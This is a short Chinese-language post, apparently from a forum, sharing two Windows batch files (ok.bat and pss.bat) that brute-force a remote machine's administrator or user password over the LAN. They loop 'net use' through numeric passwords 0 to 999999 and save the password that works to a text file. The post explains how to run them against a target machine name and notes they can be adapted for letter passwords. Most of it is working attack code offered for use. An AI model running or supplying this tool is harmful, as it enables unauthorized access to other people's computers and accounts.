小心2000，XP密码？（曾经成功破解过一局域网的机子）

//ok.bat
@echo off
if \"%1\"==\"\" goto usage
net use \\\\%1 \"1234546\" /user:\"administrator\"
if ERRORLEVEL 1219 GOTO t1219


for /l %%p in (0,1,999999) do pss.bat %1 %%p %2
notepad  %1.txt

:usage
echo /*ok usage*/
echo ok param1 [param2]
echo param:computername param:username:optional
goto end
:t1219
ECHO you have conneted it
echo try \"net use \\\\computername /delete

echo on
rem %1: computer name %2:user name
rem 2003.7.8
:end



---------------
//pss.bat
@echo off
if  \"%3\"==\"\" goto l3
net use \\\\%1 \"%2\" /user:\"%3\" && echo %1 password: %2>%1.txt
if ERRORLEVEL 1219 GOTO L1219
goto end
:l3
net use \\\\%1 \"%2\" /user:\"administrator\" && echo %1:password: %2>%1.txt
echo %2
goto end
rem 2003.7.8
:L1219
ECHO have completed
echo try ctrl+c and lookup %1.txt
pause
:end

两个批处理文件
在局域网内只在CMD　下输入
OK.BAT　对方的机器名　登录的用户名
数字密码一般都可以试出来
修改一下也可破字母的